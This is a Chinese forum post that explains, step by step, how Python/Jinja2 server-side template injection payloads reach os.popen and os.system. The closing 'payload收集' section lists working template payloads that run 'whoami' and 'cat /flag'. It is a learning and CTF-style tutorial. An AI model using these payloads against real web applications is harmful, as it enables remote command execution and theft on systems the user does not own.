电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 635 人浏览分享

pythonweb SSTI的payload构造思路研究

[复制链接]
635 0
本帖最后由 zhaorong 于 2022-7-25 11:23 编辑

文前漫谈

接触到pythonweb SSTI也有一段时间了,给我的感觉就是原理也容易理解,但是在利用上总有些难度 不能够灵活
运用想来想去还是原理不太清楚,借着这篇文章,从初学者的角度,从原理的方向研究一下payload的构造。

从原点出发

你会发现,大多数payload总是从下面这段代码出发,延伸出各种各样的花样。而这一步的目的是得到当前
模块中所有可以利用的内置类。它跟你import的库也是有关系的。

''.__class__.__base__.__subclasses__()

详细解释:

'',是一个字符串对象,type('')的结果是<class 'str'>,在python中,一切皆对象,再比如type([])的
结果是<class 'list'>,因为[]是数组的标志
__class__,是这个对象所属的类,到这一步,''.__class__的结果仍然是<class 'str'>
''.__class__和'',区别在于前者是个类,后者是个对象

__base__,是获得指定类的基类(父类),这里''.__class__.__base__的结果是<class 'object'>
因为在python3中所有类都默认继承了Object类。
__subclasses__(),__subclasses__()是Object类的静态方法,获得指定类的所有子类,返回一个列表因为是个方法
所以后面的括号不能忘了带。在这个列表里,拿到了所有继承Object类的子类,而在python3里,几乎所有的内建
类都继承了Object类,所以在下一步的构造中几乎所有的内置类我们都能找到并利用。

QQ截图20220725110415.png

拿一个Payload研究

尝试直接在代码中

print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read())。

是不是成功执行whoami了。在下面一段代码中进行调试仔细感受一下。

补充一下 __globals__



Python 中的每一个函数都拥有一个 __globals__ 属性 储存着当前模块全局可读的量。以一个字典的形式  建立了一种映
射的关系。它必须由一个函数方法调用,即不论是test.__globals__,还是a.__globals__。只要是在一个模块同一个py文
件内结果都是一样,因为打印的都是全局可读的量。

QQ截图20220725110528.png

#payload = "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

a= ""
b= "".__class__
c= "".__class__.__base__
d= "".__class__.__base__.__subclasses__()
e= "".__class__.__base__.__subclasses__()[128]
f= "".__class__.__base__.__subclasses__()[128].__init__
g= "".__class__.__base__.__subclasses__()[128].__init__.__globals__
h= "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami')
i= "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()

print(a,b,c,d,e,f,g,h,i)

626.png

按照上面的字母开始介绍吧。a到d在前面已经介绍过。这里从e开始。

e="".__class__.__base__.__subclasses__()[128]
e="".__class__.__base__.__subclasses__()[128]的结果是<class 'os._wrap_close'>,所以你应当了解使用这个payload
的时候这个128是特殊的不能随意替换(从零开始数,第129个是os._wrap_close类),payload也正是利用的os._wra
p_close这个类。到这一步,"".__class__.__base__.__subclasses__()[128]其实就相当于os._wrap_close这个类了。

f="".__class__.__base__.__subclasses__()[128].__init__
g= "".__class__.__base__.__subclasses__()[128].__init__.__globals__

这一段的依据主要是前面的__globals__属性了,为什么要先调用__init__因为__globals__必须依靠方法才能调用打印
全局可读的量。从上面的截图看,这一步就得到os模块全局可读的量了。注意是os模块,不是其他模块。从截图里的
一些细节不能看出,比如'__name__': 'os',可以看见所处模块的名称。

分析一下这一步的结果。这一步得到是一个字典,像下面这样

'_unsetenv': <function <lambda> at 0x0000021A10612438>, 'getenv': <function gete
nv at 0x0000021A106129D8>

大概就是一种映射关系,函数名与所在地址空间的映射,你可以尝试用keys(),打印键试试

30.png

你看,可以利用的函数是太多了。我们利用的是'popen()'这个函数,但是只要是在上面的函数你都可以利用
system(),甚至一些os库的常见函数,都能进行调用。

举个例子,调用上面框出来的os这个库的system()函数,甚至更加简单。一些读,写的操作都可以借助os这
个库实现。也算是扩大了RCE的攻击面吧。

29.png

文末补充

前面说过.__class__.__base__.__subclasses__()得到的继承Object类的一个列表,数量与import的库有关
再谈谈吧

28.png

不导包的时候,或者导python内置模块的时候。它的数量不会变化,导入一个外置包的时候,继承Object类的子类就
变多了好在这里不会影响到我们内置类的顺序,拿这个payload来说"".__class__.__bases__[0].__subclasses__()[128].
init__.__globals__['popen']('whoami').read(),如果第129(从零开始)个不是os._wrap_close类,那接下来的使用
就会发生错误。你可以替换成129输出试试。

26.png

payload收集

payload挺多的,但是原理大差不差,研究一下都能够理解,主要这部分的内容对python
的理解要求会有一点

{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].
popen("cat /flag").read()}}
# os._wrap_close类中的popen
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
# os._wrap_close类中的system
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('whoami')}}
# __import__方法
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
# __builtins__
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
# Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("cat /flag").read()}}

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.